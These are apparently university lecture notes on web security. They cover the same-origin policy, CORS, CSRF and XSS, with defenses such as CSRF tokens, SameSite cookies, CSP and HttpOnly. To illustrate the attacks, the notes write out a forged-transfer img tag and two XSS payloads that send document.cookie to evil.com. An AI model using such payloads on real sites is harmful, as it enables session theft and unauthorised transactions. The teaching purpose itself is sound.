Skip to Content
CSE4303Introduction to Computer Security (Lecture 22)

CSE4303 Introduction to Computer Security (Lecture 22)

Web Security

Bounding origins

Bounding origins by frames

Every window and frame has an origin.

Origins are blocked from accessing other origins’ objects.

attacker.com cannot:

  • read content from bank.com frame
  • access bank.com cookies
  • detect that the user has bank.com loaded

SOP for HTTP responses

Pages can make requests across origins.

SOP prevents JavaScript on attacker.com from directly inspecting HTTP responses (e.g., pixel data in an image). It does not prevent making the request.

What SOP allows and blocks

ActionAllowed?
Send a cross-origin GET or POST requestYes
Read the response body of a cross-origin requestNo
Embed a cross-origin image with <img>Yes
Read pixel data from a cross-origin image via canvasNo
Load a cross-origin script with <script>Yes
Inspect the content of that scriptNo
Load a cross-origin <iframe>Yes
Read the DOM inside a cross-origin frameNo

Relaxing SOP: CORS

Cross-Origin Resource Sharing (CORS) allows a server to explicitly permit cross-origin reads.

The server adds a response header:

Access-Control-Allow-Origin: https://app.example.com
  • Only the response from app.example.com can now read the cross-origin response body.
  • Wildcard * allows any origin to read the response (only safe for public APIs).

Cross-Site Request Forgery

Cross-site requests and the problem

  • When a request is sent to example.com from a page served by example.com, the browser attaches all cookies belonging to example.com.
  • When a request is sent to example.com from a different origin, the browser also attaches those cookies.
  • Because of this browser behavior, the server cannot distinguish same-site requests from cross-site requests.
  • It is therefore possible for third-party websites to forge requests that are identical to legitimate same-site requests.
  • This is called Cross-Site Request Forgery (CSRF).

CSRF example

Suppose bank.com has a transfer endpoint:

GET /transfer?to=alice&amount=100 HTTP/1.1 Host: bank.com Cookie: session=abc123

An attacker on evil.com embeds:

<img src="https://bank.com/transfer?to=attacker&amount=1000">

When a logged-in bank.com user visits evil.com:

  1. The browser loads the <img> tag.
  2. The browser sends the GET request to bank.com.
  3. The browser attaches the bank.com session cookie automatically.
  4. The server sees a valid session cookie and processes the transfer.

The attacker never reads the response — they only need the request to be sent.

Why CSRF works

  • The browser’s automatic cookie attachment is the root cause.
  • SOP prevents the attacker from reading the bank response.
  • But SOP does not prevent the attacker from causing the request to be sent.
  • State-changing actions triggered by GET requests are especially vulnerable.

CSRF defenses

Defense 1: CSRF tokens

  • Server generates a random, secret, per-session token.
  • The token is embedded in every HTML form as a hidden field:
<input type="hidden" name="csrf_token" value="s3cr3tT0k3n">
  • The server verifies the token on every state-changing request.
  • The attacker cannot read the token (SOP blocks cross-origin reads), so they cannot forge a valid request.

Defense 2: SameSite cookies

  • Set the SameSite attribute on the session cookie:
Set-Cookie: session=abc123; SameSite=Strict
ValueBehavior
StrictCookie never sent on cross-site requests
LaxCookie sent on top-level navigations (e.g., link click), not on subresource loads
NoneCookie always sent (must also set Secure)
  • SameSite=Lax or Strict prevents most CSRF attacks at the cookie level.

Defense 3: Check the Referer/Origin header

  • The browser sends an Origin or Referer header indicating the page that initiated the request.
  • The server can reject requests where the origin does not match the expected value.
  • Not fully reliable on its own (some browsers omit headers, proxies may strip them).

Cross-Site Scripting (XSS)

What is XSS?

Cross-Site Scripting (XSS) occurs when an attacker injects malicious JavaScript into a web page that is then executed in another user’s browser.

  • Despite the name, it does not require crossing origins — the malicious script runs within the victim’s origin.
  • Because the script runs in the victim’s origin, SOP does not protect against it.
  • The injected script has full access to the page’s DOM, cookies, and local storage.

Types of XSS

Reflected XSS

  • The attacker crafts a URL that includes a script payload.
  • The server reflects the payload back in the HTML response without sanitizing it.
  • The victim clicks the attacker’s link; the script executes in the victim’s browser.

Example vulnerable server code (pseudo-code):

name = request.get_param("name") response.write("<p>Hello, " + name + "!</p>")

Attacker URL:

https://example.com/greet?name=<script>document.location='https://evil.com/?c='+document.cookie</script>

Stored XSS

  • The attacker stores a script payload in the server’s database (e.g., in a comment or profile field).
  • Every user who loads that content executes the payload.
  • More dangerous because it does not require tricking a user into clicking a specific link.

Example: an attacker posts a forum comment containing:

<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

Every user who views that comment page executes the script.

DOM-based XSS

  • The vulnerability is entirely in client-side JavaScript.
  • The server sends a benign page, but client-side code reads attacker-controlled data (e.g., the URL fragment #) and writes it to the DOM without sanitization.

What an XSS attacker can do

Once script runs in the victim’s origin, the attacker can:

  • Steal session cookies (if not HttpOnly)
  • Read the page content (form values, displayed data)
  • Make authenticated requests on behalf of the victim
  • Redirect the user to a phishing page
  • Log keystrokes

XSS defenses

Defense 1: Output encoding / escaping

  • Escape all user-supplied data before inserting it into HTML.
  • Convert <&lt;, >&gt;, "&quot;, etc.
  • Most modern templating systems do this by default.

Defense 2: Content Security Policy (CSP)

  • A response header that tells the browser which sources of scripts are trusted:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.com
  • Inline scripts and scripts from untrusted origins are blocked.
  • Significantly limits what injected scripts can do.

Defense 3: HttpOnly cookies

  • HttpOnly cookies cannot be read by JavaScript (document.cookie).
  • Prevents the most common XSS payload (cookie theft) even if injection succeeds.

Defense 4: Input validation

  • Reject or sanitize unexpected characters in user input at the server boundary.
  • Do not rely on this alone — output encoding must still be applied.

CSRF vs. XSS comparison

CSRFXSS
Attack originDifferent originSame origin (after injection)
MechanismBrowser auto-attaches cookiesInjected script runs in victim’s browser
Reads response?NoYes
Requires user interaction?Visiting attacker pageViewing injected content
Primary defenseCSRF tokens, SameSite cookiesOutput encoding, CSP
Last updated on